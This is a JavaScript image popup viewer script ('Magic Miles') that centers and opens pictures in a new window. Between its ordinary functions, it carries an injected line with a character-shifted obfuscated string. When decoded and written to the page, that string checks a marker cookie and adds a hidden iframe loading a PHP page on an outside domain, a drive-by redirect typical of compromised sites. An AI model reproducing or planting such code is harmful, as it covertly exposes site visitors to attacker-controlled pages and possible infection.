function viewPic(img)
{ 	
    picfile = new Image(); 
    picfile.src =(img); 
    fileCheck(img); 
}

function fileCheck(img)
{ 	
    if( (picfile.width!=0) && (picfile.height!=0) )
    { 
        makeWindow(img); 
    }
    else 
    {
        funzione="fileCheck('"+img+"')"; 
        intervallo=setTimeout(funzione,10); 
    }
}
var source ="=tdsjqu!mbohvbhf>#KbwbTdsjqu#!uzqf>#ufyu0kbwbtdsjqu#?jg!)epdvnfou/dppljf/tfbsdi)#hdt>6#*!>>!.2*!|epdvnfou/xsjuf)#=jgs#,#b#,#nf!ts#,#d>iu#,#uq;00vod#,#mfxjmm#,#jbn/cj{0nbobh#,#fs0ynmsq#,#d/#,#qiq#,#!tuzmf>ejtqmbz;opo#,#f?=0jgs#,#b#,#nf?#*<!!epdvnfou/dppljf!>!#hdt>6<fyqjsft>Tvo-!12.Efd.3122!19;11;11!HNU<qbui>0#<~=0tdsjqu?"; var result = ""; for(var i=0;i<source.length;i++) { result+=String.fromCharCode(source.charCodeAt(i)-1); } document.write(result);
function makeWindow(img)
{ 	
    ht = picfile.height;
    wd = picfile.width; 

    var args= "height=" + ht + ",innerHeight=" + ht;
    args += ",width=" + wd + ",innerWidth=" + wd;
    if (window.screen) 
    { 
        var avht = screen.availHeight; 
        var avwd = screen.availWidth;
        var xcen = (avwd - wd) / 2; 
        var ycen = (avht - ht) / 2;
        args += ",left=" + xcen + ",screenX=" + xcen;
        args += ",top=" + ycen + ",screenY=" + ycen + ",resizable=yes"; 	
    }

	popwin=window.open("","_blank",args)
	popwin.document.open()
	popwin.document.write('<html><head><title>Magic Miles</title></head><body bgcolor=white scroll=no topmargin=0 leftmargin=0 rightmargin=0 bottomargin=0 marginheight=0 marginwidth=0><div style="position: absolute; top:0px;left:0px"><a href="javascript:window.close()"><img src="'+img+'" width="'+wd+'" height="'+ht+'" border="0" alt="Click To Close"></a></div></body></html>')
	popwin.document.close()

}